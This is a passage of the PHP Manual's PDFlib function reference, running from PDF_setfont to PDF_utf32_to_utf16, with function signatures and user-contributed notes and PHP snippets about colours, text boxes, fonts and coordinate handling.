    pdf_setfont($pdf,$font,$size);
}
Malcolm Scott 04-Jun-2003 09:38
Note that pdf_setfont (this function) and pdf_set_font (a deprecated function) are different. I spent a while trying to figure out why my code wasn't working; it turns out I'd included the extra underscore by accident...
shan at symbiotic dot 2y dot net 21-Dec-2000 11:21
For those who are looking
the PDF core fonts Are

Courier,Courier-Bold,Courier-Oblique,Courier-BoldOblique,
Helvetica,Helvetica-Bold,Helvetica-Oblique,Helvetica-BoldOblique,
Times-Roman,Times-Bold,Times-Italic,Times-BoldItalic,
Symbol,ZapfDingbats
afsilva at netscape dot net 07-Nov-2000 08:04
To anyone who is trying to add extra FONTS to work with PHP and pdflib.

Take a look at: ftp://ftp.adobe.com/pub/adobe/type/win/all/afmfiles/ - This is collection of fonts already converted to AFM. There are thousands of fonts. What I am doing is downloading everything, and then I will grep my way through the directories to find what I am looking for.

Another tip: to get the pdflib.upr file working with your fonts add:
putenv("PDFLIBRESOURCE=/dir/where/the/file/is/fonts/pdflib.upr");
on the beginning of your php script. And make sure you change the Font Definition entry on your pdflib.upr file as well. It needs to point to the directory where the .afm files are.
cox at idecnet dot com 31-Mar-2000 01:24
There is also another encoding called 'host'. in the pdflib test examples, they say:
" We don't want to use metrics files for the sample, and therefore stick to host encoding. For this reason the sample text (which uses German special characters) must be platform-specific. Both flavors only differ in the special characters."


Set fill color to gray [deprecated]

  • « PDF_setfont
  • PDF_setgray_stroke »
  • PHP Manual
  • PDF Functions
  • Set fill color to gray [deprecated]

PDF_setgray_fill

(PHP 4, PECL pdflib >= 1.0.0)

PDF_setgray_fill — Set fill color to gray [deprecated]

Description

bool PDF_setgray_fill ( resource $p , float $g )

Sets the current fill color to a gray value between 0 and 1 inclusive. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 4, use PDF_setcolor() instead.

User Contributed Notes

There are no user contributed notes for this page.


Set stroke color to gray [deprecated]

  • « PDF_setgray_fill
  • PDF_setgray »
  • PHP Manual
  • PDF Functions
  • Set stroke color to gray [deprecated]

PDF_setgray_stroke

(PHP 4, PECL pdflib >= 1.0.0)

PDF_setgray_stroke — Set stroke color to gray [deprecated]

Description

bool PDF_setgray_stroke ( resource $p , float $g )

Sets the current stroke color to a gray value between 0 and 1 inclusive. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 4, use PDF_setcolor() instead.

User Contributed Notes

There are no user contributed notes for this page.


Set color to gray [deprecated]

  • « PDF_setgray_stroke
  • PDF_setlinecap »
  • PHP Manual
  • PDF Functions
  • Set color to gray [deprecated]

PDF_setgray

(PHP 4, PECL pdflib >= 1.0.0)

PDF_setgray — Set color to gray [deprecated]

Description

bool PDF_setgray ( resource $p , float $g )

Sets the current fill and stroke color to a gray value between 0 and 1 inclusive. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 4, use PDF_setcolor() instead.

User Contributed Notes

leea at digitus dot com dot au 30-Jan-2001 04:37
pdf_setgray double values start at 0 for black and end at 1 for white so for any shade of gray simply pick a value inbetween these 2 numbers


Set linecap parameter

  • « PDF_setgray
  • PDF_setlinejoin »
  • PHP Manual
  • PDF Functions
  • Set linecap parameter

PDF_setlinecap

(PHP 4, PECL pdflib >= 1.0.0)

PDF_setlinecap — Set linecap parameter

Description

bool PDF_setlinecap ( resource $p , int $linecap )

Sets the linecap parameter to control the shape at the end of a path with respect to stroking.

User Contributed Notes

There are no user contributed notes for this page.


Set linejoin parameter

  • « PDF_setlinecap
  • PDF_setlinewidth »
  • PHP Manual
  • PDF Functions
  • Set linejoin parameter

PDF_setlinejoin

(PHP 4, PECL pdflib >= 1.0.0)

PDF_setlinejoin — Set linejoin parameter

Description

bool PDF_setlinejoin ( resource $p , int $value )

Sets the linejoin parameter to specify the shape at the corners of paths that are stroked. Returns TRUE on success or FALSE on failure.

User Contributed Notes

aRichboy at mac dot com 12-Mar-2002 08:01
Where:
0 = Miter join
1 = Round join
2 = Bevel join


Set line width

  • « PDF_setlinejoin
  • PDF_setmatrix »
  • PHP Manual
  • PDF Functions
  • Set line width

PDF_setlinewidth

(PHP 4, PECL pdflib >= 1.0.0)

PDF_setlinewidth — Set line width

Description

bool PDF_setlinewidth ( resource $p , float $width )

Sets the current line width. Returns TRUE on success or FALSE on failure.

User Contributed Notes

bob at nijman dot de 02-Aug-2001 02:27
This will draw a simple rectangle...
...with a few extras.

<?php

//Create & Open PDF-Object
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_set_info($pdf, "Author","Bob Nijman");
pdf_set_info($pdf, "Title","www.nijman.de");
pdf_set_info($pdf, "Creator", "bob@nijman.de");
pdf_set_info($pdf, "Subject", "pdf-stuff");
pdf_begin_page($pdf, 200, 200);

// just a simple rectangle
pdf_setlinewidth($pdf, 5); //make the border of the rectangle a bit wider
pdf_rotate($pdf, 5); //rotate the coordinate system (NOT THE RECTANGLE !!!!!)
pdf_rect($pdf, 100, 100, 50, 50); //draw the rectangle
pdf_stroke($pdf); //stroke the path with the current color(not yet :-)) and line width

//note: the rect is not drawn untill we use pdf_stroke - try it out!!!

//close it up
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=invoice.pdf');
header('Content-length: ' . strlen($data));
echo $data;

?>

Thanx to:
http://www.dynamicwebpages.de/50.tutorials.php?dwp_tutorialID=11
Great german (!!!) tutorial


Set current transformation matrix

  • « PDF_setlinewidth
  • PDF_setmiterlimit »
  • PHP Manual
  • PDF Functions
  • Set current transformation matrix

PDF_setmatrix

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_setmatrix — Set current transformation matrix

Description

bool PDF_setmatrix ( resource $p , float $a , float $b , float $c , float $d , float $e , float $f )

Explicitly sets the current transformation matrix. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set miter limit

  • « PDF_setmatrix
  • PDF_setpolydash »
  • PHP Manual
  • PDF Functions
  • Set miter limit

PDF_setmiterlimit

(PHP 4, PECL pdflib >= 1.0.0)

PDF_setmiterlimit — Set miter limit

Description

bool PDF_setmiterlimit ( resource $pdfdoc , float $miter )

Sets the miter limit.Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set complicated dash pattern [deprecated]

  • « PDF_setmiterlimit
  • PDF_setrgbcolor_fill »
  • PHP Manual
  • PDF Functions
  • Set complicated dash pattern [deprecated]

PDF_setpolydash

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_setpolydash — Set complicated dash pattern [deprecated]

Description

This function is deprecated since PDFlib version 5, use PDF_setdashpattern() instead.

User Contributed Notes

There are no user contributed notes for this page.


Set fill rgb color values [deprecated]

  • « PDF_setpolydash
  • PDF_setrgbcolor_stroke »
  • PHP Manual
  • PDF Functions
  • Set fill rgb color values [deprecated]

PDF_setrgbcolor_fill

(PHP 4, PECL pdflib >= 1.0.0)

PDF_setrgbcolor_fill — Set fill rgb color values [deprecated]

Description

bool PDF_setrgbcolor_fill ( resource $p , float $red , float $green , float $blue )

Sets the current fill color to the supplied RGB values. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 4, use PDF_setcolor() instead.

User Contributed Notes

philipp dot maske at location-bretagne dot de 13-Jun-2003 03:33
It took some time to understand, that the float values have to be beetween beetween 0 and 1. If you use graphic tools like color-pickers etc. it is necessary to convert the RGB values frome the scale of 1 to 255 to 0 to 1.

Use this small function to make your life easier:

function pdf_setrgbcolor_fill_better($intPdfObj, $intRed, $intGreen, $intBlue) {
  if($intRed<=0||$intRed>255|| $intGreen<=0|| $intGreen>255|| $intBlue<=0|| $intBlue>255) return false;

  $floatRed        = $intRed/255;
  $floatGreen      = $intGreen/255;
  $floatBlue       = $intBlue/255;

  return pdf_setrgbcolor_fill ($intPdfObj, $floatRed, $floatGreen, $floatBlue);
  }

Have Fun!
Philipp
--
Mail:   philipp.maske@location-bretagne.de
WWW: http://www.location-bretagne.de
maske at chiquadrat dot de 02-Nov-2001 04:16
the double values for each RGB color start at '0' and end at '1'. So use e.g. pdf_setrgbcolor_fill(int pdf_document,1,1,1) for white, pdf_setrgbcolor_fill(int pdf_document,0,0,0) for black or something in between for a mixed color.


Set stroke rgb color values [deprecated]

  • « PDF_setrgbcolor_fill
  • PDF_setrgbcolor »
  • PHP Manual
  • PDF Functions
  • Set stroke rgb color values [deprecated]

PDF_setrgbcolor_stroke

(PHP 4, PECL pdflib >= 1.0.0)

PDF_setrgbcolor_stroke — Set stroke rgb color values [deprecated]

Description

bool PDF_setrgbcolor_stroke ( resource $p , float $red , float $green , float $blue )

Sets the current stroke color to the supplied RGB values. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 4, use PDF_setcolor() instead.

User Contributed Notes

There are no user contributed notes for this page.


Set fill and stroke rgb color values [deprecated]

  • « PDF_setrgbcolor_stroke
  • PDF_shading_pattern »
  • PHP Manual
  • PDF Functions
  • Set fill and stroke rgb color values [deprecated]

PDF_setrgbcolor

(PHP 4, PECL pdflib >= 1.0.0)

PDF_setrgbcolor — Set fill and stroke rgb color values [deprecated]

Description

bool PDF_setrgbcolor ( resource $p , float $red , float $green , float $blue )

Sets the current fill and stroke color to the supplied RGB values. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 4, use PDF_setcolor() instead.

User Contributed Notes

n dot gaertner at gmx dot net 09-Jul-2001 02:19
<b>Use this code to convert HEX colors to RGB that you can use with pdf_setrgbcolor:</b>
<?
$color = "#FF00FF";
$string = str_replace("#","",$color);
$red = hexdec(substr($string,0,2)) / 255;
$green = hexdec(substr($string,2,2)) / 255;
$blue = hexdec(substr($string,4,2)) / 255;
pdf_rect($pdf, 110, 600, 20, 30);
pdf_setrgbcolor_fill($pdf, $red, $green, $blue);
pdf_fill($pdf);
?>

This gives you a pink rectangle!
skuenzli at u dot arizona dot edu 26-Apr-2000 09:17
Here is a snippet of code to create a blue rectangle:

<?php

/*
*pdf_setrgbcolor(pdf_file, float red, float green, float blue);
*red/green/blue are values between 0 and 1.
*It appears that the value is supposed to be a percentage intensity.
*0.0 means a 0% intensity for that color (0 in RGB-scale)
*0.5 means a 50% intensity of that color (127 in RGB-scale)
*1.0 means a 100% intensity of that color (255 in RGB-scale)
*/

//Create blue rectangle
pdf_rect($pdf, 110, 600, 20, 30);
pdf_setrgbcolor_fill($pdf, 0, 0, 1.0);
pdf_fill($pdf);

?>


Define shading pattern

  • « PDF_setrgbcolor
  • PDF_shading »
  • PHP Manual
  • PDF Functions
  • Define shading pattern

PDF_shading_pattern

(PECL pdflib >= 2.0.0)

PDF_shading_pattern — Define shading pattern

Description

int PDF_shading_pattern ( resource $pdfdoc , int $shading , string $optlist )

Defines a shading pattern using a shading object.

This function requires PDF 1.4 or above.

User Contributed Notes

There are no user contributed notes for this page.


Define blend

  • « PDF_shading_pattern
  • PDF_shfill »
  • PHP Manual
  • PDF Functions
  • Define blend

PDF_shading

(PECL pdflib >= 2.0.0)

PDF_shading — Define blend

Description

int PDF_shading ( resource $pdfdoc , string $shtype , float $x0 , float $y0 , float $x1 , float $y1 , float $c1 , float $c2 , float $c3 , float $c4 , string $optlist )

Defines a blend from the current fill color to another color.

This function requires PDF 1.4 or above.

User Contributed Notes

There are no user contributed notes for this page.


Fill area with shading

  • « PDF_shading
  • PDF_show_boxed »
  • PHP Manual
  • PDF Functions
  • Fill area with shading

PDF_shfill

(PECL pdflib >= 2.0.0)

PDF_shfill — Fill area with shading

Description

bool PDF_shfill ( resource $pdfdoc , int $shading )

Fills an area with a shading, based on a shading object.

This function requires PDF 1.4 or above.

User Contributed Notes

There are no user contributed notes for this page.


Output text in a box [deprecated]

  • Â« PDF_shfill
  • PDF_show_xy Â»
  • PHP Manual
  • PDF Functions
  • Output text in a box [deprecated]

PDF_show_boxed

(PHP 4, PECL pdflib >= 1.0.0)

PDF_show_boxed — Output text in a box [deprecated]

Description

int PDF_show_boxed ( resource $p , string $text , float $left , float $top , float $width , float $height , string $mode , string $feature )

This function is deprecated since PDFlib version 6, use PDF_fit_textline() for single lines, or the PDF_*_textflow() functions for multi-line formatting instead.

User Contributed Notes

J Griffiths 30-Jun-2010 03:49
As this is nowadays the poor/stingy man's alternative to the commercial PDFlib PDF_*_textflow() functions, I thought it might be useful to point out something that isn't explicitly mentioned here, but is helpful to determine a text box's height before committing it to the PDF:

This function returns the number of characters that would not fit in the prescribed dimensions.

Therefore, if, as noted below, the only feature, "blind", is passed as the last value to this function, you can determine whether or not a certain height is sufficient for your text, and increment as necessary, or decide to start a new page, without writing the text block to the PDF, by checking whether or not the function returns 0.

This avoids the problem of the "texty" value becoming available only when the box has been written, by which time it might too late!
han__hui at hotmail dot com 27-Apr-2009 09:46
an example to illustrate the use of pdf_show_boxed(...).

<?php
$pdf = pdf_new();
pdf_set_parameter($pdf,"license","xxxxxxx-xxxxxx-xxxxxx-xxxxxx"); //to remove the stamp/wartermark of the generated pdf file.

pdf_set_info($pdf, "Creator", "pdf.php");
pdf_set_info($pdf, "Author", "hui");
pdf_open_file($pdf,"");  //without a file name, it will open the pdf file in the browser directly.
pdf_begin_page($pdf,595,842); //A4 page
$font = pdf_findfont($pdf, "Helvetica", "host", 0);

$lineHeight = 10;
$y = 800;

pdf_setfont($pdf, $font, $lineHeight);

$text = "Hi, I am Hui.\n\rI am working in IT Dept.\nI am good at linux administration and programming in Java, PHP, Javascript, C and C++.";

$ret = pdf_show_boxed($pdf,$text,30,$y,350,$lineHeight,"left","");

$lineSpace = 5;

while($ret>0)  //write the whole text into the pdf line by line including the new line character
{
    $y = $y - $lineHeight-$lineSpace;
    $left = substr($text,-$ret);
    if($left[0] == "\n" or $left[0] == "\r") $left = substr($left,1); //this line decrements the $ret by 1.
    $ret = pdf_show_boxed($pdf,$left,30,$y,350,$lineHeight,"left","");

}

pdf_end_page($pdf);

pdf_close($pdf);

$buf = pdf_get_buffer($pdf);
$len = strlen($buf);

header("Content-type: application/pdf");
header("Content-Length: $len");
header("Content-Disposition: inline; filename=whatever.pdf");
print $buf;
?>

PS: Without "if" in the while loop, it will be an infinite loop when it encounters "\n" or "\r" in the text to be written.
Ben 06-Jun-2008 06:45
Be aware that a long unbroken section of text, such as a line of characters that is too wide to fit into the allotted space, will cause a seg fault.

I have a user who entered a long line of Q's as a placeholder in his text.  Attempting to output to PDF with the Q's in place caused a seg fault.

The solution is to test the width of words to ensure that they are narrow enough to fit in the allotted width and, if not, to break them so that they are.
james at lightbox dot org 13-Dec-2004 08:51
I'm using the following libpdf versions:
   PDFlib GmbH Version  6.0.1
   PECL Version  2.0.3

I found the parameter 'top' to be misleading.  Since 0,0 is in the bottom left of the page, the top parameter is actually the bottom left corner of the box you want.

using
     top=72
     left=72
puts the bottom left corner of the box 1 inch in from the left, and 1 inch up from the bottom.

so to make a 6.5"x3" box (with 1" page margins) at the BOTTOM of the page, you would use:
  top=72
  left=72
  width=468
  height=216

The text would then start in the top-left corner of the defined box, which would be at (72,288)   (in 1" from the left and up 4" from the bottom)
asmodai at wxs dot nl 05-Nov-2004 12:21
For those who are as confused as I was (still am in small parts):

mode can be at least: left, right, center, justify
feature: if specified as "" will immediately display the desired text, if specified as "blind" will hide the text

This had me stumped for a while.
phict4 at hotmail dot com 30-Oct-2004 03:45
With PHP5 the feature parameter is required, set this to null or false to produce the same result as without the parameter in versions previous to 5.
flyingman15 at yahoooo point fr 23-Sep-2004 02:01
Little improve from what bob at nijman dot de said :

$text = "Réduire le déficit de l'État, voilà bien l'ambition annoncée de Nicolas Sarkozy. Pour son unique budget, le médiatique patron des finances françaises estime avoir rempli son pari. Mais à quel prix ? Ce projet de loi de finances oublie la promesse présidentielle de baisser l'impôt sur le revenu et la pression fiscale sur les ménages augmente.Face aux nombreux journalistes, le bouillonnant Sarkozy défend son bébé. Un premier né, bientôt orphelin d'un père qui s'en va prendre, en novembre, la tête de l'UMP.";

$line_width = 300.0;
$line_height = 20.0;
$x = 10.0;
$y = 230.0;

$nr = pdf_show_boxed($pdf, $text, $x, $y, $line_width, $line_height, "left");
$y = $y - $line_height;

while($nr > 0){
$nr = pdf_show_boxed($pdf, $nr.substr($text, -$nr), $x, $y, $line_width , $line_height, "left");
$y = $y - $line_height;
}

Quite usefull....for me at least, so if that can help anybody else...
sebastien at galliot dot com 26-Jun-2004 12:27
easier than pdf_show_boxed ()  !
to center text in a box :

<?

pdf_fit_textline ($pdf, "$string", $x, $y, "boxsize {40 20} position 50");
?>

You can also fit text proportionnally in the box  :

<?
pdf_fit_textline ($pdf, "$string", $x, $y, "boxsize {40 20} position 50 fitmethod meet");
?>

See Pdflib documentation for other text placement functions
(4.8.2 Placing Text in a Box in the Pdf documentation)
hackajar matt yahoo trott com 11-Feb-2004 06:12
Sometimes using pdf_show_boxed() is no help at all, such as in a parser, where you have html tags to mangle text with.  Example:

pdf_show_boxed() with text tokens and html tags will look like this:

_____________________
| ------------------ |
|| text_box1   ||box| |
| ------------    2| |
|               ----  |
|                    |
|     A PDF PAGE      |
|____________________|
box 2 is where you changed to bold or italic in mid sentance, and now it moves down to next line, but at $x cor, or if your not using pdf_show_boxed ; but pdf_show_xy, it will trail into your right-margin or worse off the page

Solution:  Use a word chuck loop

//Get space left to end of page
$space = (612-$right_margin);
//Get total length of text string
$length = pdf_stringwidth($pdf, $text);
//Check to see if there is enough space just
//to dump text to page
if($length > $space) {
     //Start a parser
     $count = strlen($text);
     for($i=o; $i<$count;) {
          //Get the first word in text string
          for($e=$i; $e<$count && substr($text, $e, 1)!=" "; $e++);
          //Put that word into a string (don't forget to +1
          //for the space we used at stopping marker
          $string = substr($text, $i, ($e-$i)+1);
          //Now get the length of THAT text string
          $length = pdf_stringwidth($pdf, $string);
          if($length < $space) {
               pdf_show_xy($pdf, $string, $x, $y);
               $x = $x+$length;
               //Because this routine gets cycled everytime
               //you send text to it, make sure you update
               //how much space is left on the line
               $space = (612-36)-$x;
           } else {
               //Move down one line as there is no space
               //left, note that I use "2" as my padding, yours
               //may vary
               $y = $y - ($fontsize +2);
               $x = $left_margin;
               pdf_show_xy($pdf, $string, $x, $y);
               $x = $x+$length;
               $space = (612-36)-$x;
           }
           //Move the loop counter to end of this word +
           //the space we used as stop marker
           $i=$e+1;
     }
} else {
     if($center == "1") {
          pdf_show_boxed($pdf, $text, 0, $y, 612, $fontsize, "center");
     } else {
          pdf_show_xy($pdf, $text, $x, $y);
     }
     $x = $x + $length;
}

This is a part of a function I use, so it may look a little mangled, great for a starting point though.
matt at unixhead withoutspam dot org 04-Feb-2003 02:12
note if you would rather resize the font than the textbox on the PDF you produce (i.e. if you need a set layout) you could do something like:

while (pdf_show_boxed($pdfdoc, $txt, 220, 100, 180, 250, "left", "blind") > 1) {
   $font--;
    pdf_set_font($pdfdoc, "Courier", $font, "host");
}
pdf_show_boxed($pdfdoc,$txt,220,100,180,250,"left");

This will keep downsizing the font until all the text fits in the box you specify.
bloecherATgmxDOTde 15-Aug-2002 01:37
better use pdf_get_value($p, 'leading') for calculating the height of your textbox, coz 'fontsize' might be a little to small as it's not the distance between the baselines =)
[see pdflib-manual, table 4.7]
kinneko at whopper dot de 16-Jul-2002 02:14
If you have newlines in your data ("\n") a following PDF_get_value($pdf, "texty") may not return the positon of the last char that is displayed.
ceo at l-i-e dot com 18-Feb-2002 10:00
D'oh!

Ignore previous note.

There were newlines in my data. :-(
So a box only one line tall would fit any characters.

So the "Gotcha" is that embedded new-lines can make pdf_show_boxed incapable of drawing *any* of your text in a one-line tall box.
ceo at l-i-e dot com 18-Feb-2002 02:07
It might be because my font files are corrupted, and I'm using setfont... 'host', 0
but it seems like sometimes pdf_draw_boxed can't draw *ANY* characters of perfectly normal text.
The words at the beginning of the text are certainly capable of fitting.

It works fine for some strings, and not for others.

Hard to say if it's really a bug or not, and yes, I'll file a bug report, but in the meantime, one has to be careful of not creating an infinite loop trying to draw the same impossible text over and over.

If the number of characters not drawn (return value of pdf_show_boxed) is equal to the length of the string you tried to draw, GAME OVER.
Jochen dot Riehm at teilauto dot net 09-Jan-2002 08:50
It should be noted that creating a "blind" text box and using the texty value does not work since it is (as correctly mentioned in the manual) not changed by "blind" boxes
06-Dec-2001 02:29
Some improvement on leea@digitus.com.au code to get
a dynamic text box. This first compute a minimum height:

$fontsize = pdf_get_value($pdf,'fontsize');
$length = pdf_stringwidth($pdf,$text);
$textHeight = ceil($length/$width)*$fontsize;

while(pdf_show_boxed($pdf,$text, $left,$top,$width,$textHeight,$h_align,'blind') > 1)
$textHeight += $fontsize;

pdf_show_boxed($pdf,$text,$left,$top,$width,$textHeight,$h_align);

Ivan
lofino at caramail dot com 30-Oct-2001 07:21
IT_KTS < I thought it wasn't important, but I had this fatal error : « Fatal error: PDFlib error: floating point value too large in pdf_ftoa »

After looking for the reasons of this fatal error, I've finally found how it comes :

- you have to have only one word
- this word has to be too long for the box
- you have to be in justify mode

If you meet this fatal error, jump into the "left" mode, or split your word/sentence.
IT_KTS at PHISL dot NET 06-Sep-2001 12:47
pdf_show_boxed only works with 2 or more words not one word... try it people..
bob at nijman dot de 02-Aug-2001 04:10
In the example given above we don't handle the overflow properly.
Try making the text shorter and see what happens.
Try making it longer too...
bob at nijman dot de 02-Aug-2001 04:05
Try this:

<?php

//Create & Open PDF-Object
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_set_info($pdf, "Author","Bob Nijman");
pdf_begin_page($pdf, 300, 300);

pdf_set_font($pdf, "Helvetica", 10, "host");

//for most german will be as good as latin, no? :-)
$text = <<<EOD
Unsere Konzepte sind innovativ und kreativ.
Sie orientieren sich am Zeitgeist, ohne sich diesem auszuliefern.
So auch unsere Arbeitsweise.
Für verschiedene Arbeitsmodule werden freie Mitarbeiter herangezogen,
damit wir absolute Flexibilität behalten und messerscharf kalkulieren können.
Die volle Verantwortung liegt damit beim Projektleiter.
Er vergibt Arbeitsmodule, begutachtet deren Werdegang und letztendlich deren Zusammenwachsen.
EOD;

$nr = pdf_show_boxed($pdf, $text, 10.0, 180.0, 140.0, 100.0, "left");
$nr = pdf_show_boxed($pdf, substr($text, -$nr), 150.0, 180.0, 140.0, 100.0, "left");

//close it up
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=myTest.pdf');
header('Content-length: ' . strlen($data));
echo $data;

?>
leea at digitus dot com dot au 31-Jan-2001 02:41
Here's a way to make a dynamic size text box for text coming from a database

<?php
$TextHeight = 10;
while ((pdf_show_boxed($pdf,$rstJobs["JobDetails"], 123, $varPosition, 308,$TextHeight,left,blind)) > 1) {
    $TextHeight = $TextHeight + 10;
}
?>

pdf_show_boxed ($pdf, $rstJobs["JobDetails"], 123, $varPosition - $TextHeight + 10, 308,$TextHeight,left);
You will need to change the value of 10 to your font size.

this may not be the best way to do this so if you find a better way add it here!


Output text at given position

  • « PDF_show_boxed
  • PDF_show »
  • PHP Manual
  • PDF Functions
  • Output text at given position

PDF_show_xy

(PHP 4, PECL pdflib >= 1.0.0)

PDF_show_xy — Output text at given position

Description

bool PDF_show_xy ( resource $p , string $text , float $x , float $y )

Prints text in the current font. Returns TRUE on success or FALSE on failure.

User Contributed Notes

Christopher Jastram <cej at intech dot com> 11-Dec-2005 09:52
Here's a little function that creates a pdf_show_xy_right() function with exactly the same parameters as pdf_show_xy(), except that the third parameter now specifies the right-aligned edge position.

function pdf_show_xy_right(&$pdf, $text, $right, $bottom) {
    $fontname = pdf_get_parameter($pdf, "fontname", 0);
    $font = pdf_findfont($pdf, $fontname, "host", 0);
    $size = pdf_get_value($pdf, "fontsize", 0);
    $width = pdf_stringwidth($pdf, $text, $font, $size);
    pdf_show_xy($pdf, $text, $right-$width, $bottom);
}

Set your font name and size separately, just as you would with pdf_show_xy(), and then call this function like so:

pdf_show_xy_right($pdf, "Hello World", 50, 200);

The third parameter is the right edge, fourth parameter is the baseline.  You do NOT have to pass in the font and size!
sigve at NwOoSlPfArMaidah dot no 01-Oct-2004 04:21
Want to do right-to-left text with pdflib? Just pick the right margin, and send it as $x to this function.

<?php
function pdf_show_xy_backwards ($pdf, $text, $font, $size, $x, $y) {
    $currx = $x;
    for ($i = strlen($text); $i > 0; $i--) {
        $char = substr((string)$text, $i-1, 1);
        $width = pdf_stringwidth($pdf, (string)$char, $font, $size);
        $currx = $currx - $width;
        pdf_show_xy($pdf, (string)$char, $currx, $y);
    }
}
?>
DrPsycho at easynet dot be 06-Dec-2002 06:41
No, that's just because in PDF the origin is at the lower left corner
nid at home dot se 02-Oct-2002 11:26
When using PDFLib version 4.0.3 under PHP 4.2.1 on Windows the Y-position is reversed, which means, the Y is the number of pixels that should be visible BELOW the texts baseline.


Output text at current position

  • « PDF_show_xy
  • PDF_skew »
  • PHP Manual
  • PDF Functions
  • Output text at current position

PDF_show

(PHP 4, PECL pdflib >= 1.0.0)

PDF_show — Output text at current position

Description

bool PDF_show ( resource $pdfdoc , string $text )

Prints text in the current font and size at the current position. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Skew the coordinate system

  • « PDF_show
  • PDF_stringwidth »
  • PHP Manual
  • PDF Functions
  • Skew the coordinate system

PDF_skew

(PHP 4, PECL pdflib >= 1.0.0)

PDF_skew — Skew the coordinate system

Description

bool PDF_skew ( resource $p , float $alpha , float $beta )

Skews the coordinate system in x and y direction by alpha and beta degrees. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Return width of text

  • « PDF_skew
  • PDF_stroke »
  • PHP Manual
  • PDF Functions
  • Return width of text

PDF_stringwidth

(PHP 4, PECL pdflib >= 1.0.0)

PDF_stringwidth — Return width of text

Description

float PDF_stringwidth ( resource $p , string $text , int $font , float $fontsize )

Returns the width of text in an arbitrary font.

User Contributed Notes

rross at mNoOoSnPsAoMfvega dot com 10-Nov-2005 01:27
One thing I came across, and hope is useful to someone, is the following.
If you're looking to use the pdf_stringwidth() function, and expecting it to give you the proper results when trying to center or position the text, try to avoid using this line in your code:

<?
    pdf_set_parameter($pdf, "textformat", "utf8");
?>

I discovered (after much hair-pulling of what remains of my hair) that this line of code increases the amount of space between characters by roughly 100%.  Removing this line of code made the text on my generated PDF's significantly tighter and more appealing.
smilingrasta FROM gmx dot net 19-Jul-2005 06:42
With upgrading to PHP5, i had to switch to a newer version of pdflib (v6), where some functions slightly differ from the old version(v5).

The new parameters for this function are:
<?php float PDF_stringwidth(PDF *p, const char *text, int font, float size); ?>

pdf_stringwidth() does only take 2 parameters in the old version.
Now 5 parameters are required. As they aren't listed here, i thought i could do that :>

<?php
# first, we have to find the font, we are using
$fontID = pdf_findfont($pdf, 'Courier', 'host', 0);
# then we can call pdf_stringwidth
$width = pdf_stringwidth($pdf,$string, $fontID, $fontsize));
?>

Maybe that helps someone out.
farzal at hotmail dot com 27-Jul-2001 02:51
with font COURIER and fontsize of 12, you can print 10 CPI (Characters per inch) or 1 character every 7.2 points.

This means, on an A4 page of size (595,842), with a printable area of (451,662) after leaving 1" blank on each side, one can print 451/7.2 ~= 62 characters.

If one is building tables after quering databases, this is a way to figure out if you can print all your columns in a page, or if you need to use landscape, or if you need to reduce the font size.


Stroke path

  • « PDF_stringwidth
  • PDF_suspend_page »
  • PHP Manual
  • PDF Functions
  • Stroke path

PDF_stroke

(PHP 4, PECL pdflib >= 1.0.0)

PDF_stroke — Stroke path

Description

bool PDF_stroke ( resource $p )

Strokes the path with the current color and line width, and clear it. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Suspend page

  • « PDF_stroke
  • PDF_translate »
  • PHP Manual
  • PDF Functions
  • Suspend page

PDF_suspend_page

(PECL pdflib >= 2.0.0)

PDF_suspend_page — Suspend page

Description

bool PDF_suspend_page ( resource $pdfdoc , string $optlist )

Suspends the current page so that it can later be resumed with PDF_resume_page().

User Contributed Notes

There are no user contributed notes for this page.


Set origin of coordinate system

  • « PDF_suspend_page
  • PDF_utf16_to_utf8 »
  • PHP Manual
  • PDF Functions
  • Set origin of coordinate system

PDF_translate

(PHP 4, PECL pdflib >= 1.0.0)

PDF_translate — Set origin of coordinate system

Description

bool PDF_translate ( resource $p , float $tx , float $ty )

Translates the origin of the coordinate system.

User Contributed Notes

php at mijav dot dk 14-Apr-2005 11:29
Note that this function does NOT eliminate the need for reverse-thinking when designing PDFs.

Origin 0, 0 is the lower left corner. This function only MOVES this origin (0,0) - it does not reverse the Y-axis as some people might belive and want (including myself).
david at mubo dot nl 27-Jul-2001 12:36
Not only this function is useful if you are tired of using the lowerleft side of the page, but it is also great if you need to rotate your page..

I have a project in which I need to rotate the page 180 due to calibration problems.. With this function I could reset the origin and the rest of the PDF worked just fine..

I also think that this function primarly has been mode for situations like these...

This function can also be used as a calibration feature, though I dont do it myself, I can think that it will work very nice if your whole document is out of calibration for lets say 1 mm..
hazelnutlatte at hotmail dot com 07-Jan-2001 11:13
This function is useful if you're tired of trying to deal with an axis that has a point of origin in the lower left-hand corner of the page.  Enjoy.


Convert string from UTF-16 to UTF-8

  • « PDF_translate
  • PDF_utf32_to_utf16 »
  • PHP Manual
  • PDF Functions
  • Convert string from UTF-16 to UTF-8

PDF_utf16_to_utf8

(PECL pdflib >= 2.0.3)

PDF_utf16_to_utf8 — Convert string from UTF-16 to UTF-8

Description

string PDF_utf16_to_utf8 ( resource $pdfdoc , string $utf16string )

Converts a string from UTF-16 format to UTF-8.

User Contributed Notes

There are no user contributed notes for this page.


Convert string from UTF-32 to UTF-16

  • « PDF_utf16_to_utf8
  • PDF_utf8_to_utf16 »
  • PHP Manual
  • PDF Functions
  • Convert string from UTF-32 to UTF-16

PDF_utf32_to_utf16

(PECL pdflib >= Unknown future)

